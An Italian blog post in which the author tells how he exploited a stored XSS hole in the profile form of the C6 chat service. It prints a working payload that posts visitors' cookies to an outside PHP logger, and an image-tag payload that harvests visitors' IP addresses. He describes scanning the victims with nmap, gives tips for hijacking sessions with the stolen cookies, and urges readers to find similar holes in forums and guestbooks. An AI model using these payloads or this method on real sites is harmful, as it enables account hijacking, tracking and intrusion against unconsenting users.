XSS : pericolo o passatempo?
Quello di cui vi voglio raccontare oggi è un esperimento condotto qualche mese fa in uno dei rari momenti di calma in cui la mia mente non era assillata dalle solite scadenzze e scassature di minkia varie dovute al lavoro di routine.
Come avrete intuito dal titolo il tema di questo post è l'XSS acronimo con cui si indica il Cross Site Scripting: per chi non lo sapesse si tratta di una delle più note e ed a oggi più sfruttate vulnerabilità di internet che colpisce di solito gli ignari utenti della rete...
Il propagarsi della problematica XSS fa leva sul fatto che molti web designer, per ignoranza o pigrizia, non filtrano il contenuto proveniente dai form messi a disposizione degli utenti del sito...provocando involontariamente problemi come quelli che tra un pò vi descriverò in dettaglio.
Dopo questa breve intro sul problema XSS passiamo ai fatti.
Dovete sapere che tra i miei passatempi estivi c'è quello di frequentare alcune famose chat...tra queste una che sicuramente merita di essere menzionata è quella di C6 (anche perchè è stata oggetto di questo esperimento).
Come molti di voi ho diversi nick presenti su C6...e come molti di voi quando mi collego mi dedico all'attività di "caccia alla topa" cercando di sollecitare una reazione da parte delle numerose "ragazze" online.
Un giorno di qualche anno fa però mi venne in mente la seguente idea : "Ma cosa succederebbe se creassi un profilo femminile con un nick a doppio senso e con annessa la bella foto di una gnocca?" ...in questo caso tra il dire e il fare sono passati meno di 5 minuti col risultato che ogni qualvolta il personaggio del mio nuovo profilo si connetteva a C6 cominciava a ricevere un messaggi al ritmo di uno ogni 5 secondi (naturalmente tutti cacciatori di topa come me).
In realtà il motivo per cui avevo creato sto nick era leggere ed eventualmente rubare qualche frase ad effetto lanciata dagli altri concorrenti per poi riutilizzarla ai miei fini...però durante la creazione del profilo mi sono accorto, adesso non ricordo esattamente come, che tra i campi messi a disposizione del navigatore per inserire le vaie descrizioni ce ne stava uno il cui contenuto non veniva filtrato prima di essere pubblicato on line...sto parlando per l'esattezza del campo "viaggi" : un textarea abbastanza grande per consentire di inserire una buona quantità di testo...e qui torniamo al tema del post...
Benchè fossi già a conoscenza della problematica XSS, fino a quel momento non ero riuscito a trovare un'applicazione pratica che mi facessere rendere conto della pericolosità del problema...infatti ciò che oggi trovate sulla rete sono esempi banali che indicando per lo più di iniettare codice javascritpt come ad esempio
<script>alert(document.cookie);</script>
che dipersè vuol dire tutto e niente ma più che altro non fa capire una minkia...ovvero detti in altri termini :"Che kazzo me ne faccio del document.cookie? ...notate infatti che se anche riuscite ad iniettare l'esempio dato in qualche form sulla rete il risultato dello script verrà mostrato solo sul client che visualizza la pagina dove lo script stesso è iniettato senza che voi ne sappiate nulla...
In generale rubare un cookie serve per consentire al "ladro" di entrare su un sito riservato presentandosi con le stesse credenziali di colui che ha subito il furto stesso...nel nostro caso avrei quindi potuto fare in modo di farmi inviare il cookie dei visitatori del mio falso profilo iniettando il codice seguente:
<form action="http://miosito.com/ruba_cookie.php" name="ladro" target="_blank" method="post">
< input type="hidden" name="info" >
</form>
<script>
var frm=document.ladro;
frm.info.value=document.cookie;
frm.submit();
</script>
Il codice dello script ruba_cookie.php potrebbe quindi essere più o meno il seguente:
<?php
if (isset($_POST["info"])) {
scrivi_su_file($_POST["info"],date("Y-m-d H:i:s"));
}
?>
Ovvero un semplicissmo script che per ogni cookie ricevuto si occupa di memorizzarlo su un file (lascio a voi il compito di determinare come si scrive la funzione "scrivi_su_file" ...tanto è facile)
Una volta che avete rubato qualche cookie potete provare ad accedere al profilo del malcapitato utilizzando il vs. browser ...vi consiglio di utilizzare per questi scopi Firefox con il plugin Tamper Data
Ebbene nel mio caso,col profilo della supergnocca in questione, avrei certamente ottenuto i cookie dei miei visitatori ma francamente vista la velocità con cui arrivavano sarebbe stato abbastanza fastidioso e poco divertente entrate sui loro profili...
...piuttosto che i cookie ero invece più interessato agli indirizzi ip dei malcapitati...infatti nella mia mente pensavo già di raccogliere un bel numero di indirizzi ip da dare poi in pasto a qualche scanner di vulnerabilità alla ricerca di qualche buco che mi consentisse di infiltrarmi dentro al pc dei miei visitatori piuttosto che nei loro profili di C6...
Eccovi quindi cosa ho iniettato nel campo viaggi del form :
<img src="http://miosito.com/ruba_ip.php" >
ovvero una semplice immagine il cui url puntava a uno script PHP il cui codice è :
if (getenv(HTTP_X_FORWARDED_FOR)) {
// se il visitatore usa un proxy non anonimo
$ip = getenv(HTTP_X_FORWARDED_FOR);
} else {
$ip = getenv(REMOTE_ADDR);
}
scrivi_su_file($ip);
Inutile dirvi che nel giro di qualche minuto di collegamento avevo già un elenco di oltre una ventina di indirizzi ip da dare in pasto al mio nmap... con i risultati che qualcuno di voi potrà già immaginare...
MORALE DELLA FAVOLA? ...se come me vi piace la "caccia alla topa" almeno siate sicuri di avere un buon firewall...a meno che non vogliate diventare voi la preda...
NOTE FINALI
Purtroppo mentre vi scrivo C6 ha già corretto questa vulnerabilità...non so bene quando ma probabilmente si sono accorti della minkiata è hanno provveduto a filtrare il contenuto di tutti i campi ma vi assicuro che là fuori esistono un sacco di form con questi problemi...basta cercarli...provate sui forum o sui guestbook fatti in casa...li avrete molte più chance...
Etichette: c6, cookie stealing, firewall, ip stealing, scanner, topa, xss


0 Commenti:
Posta un commento
Link a questo post:
Crea un link
<< Home page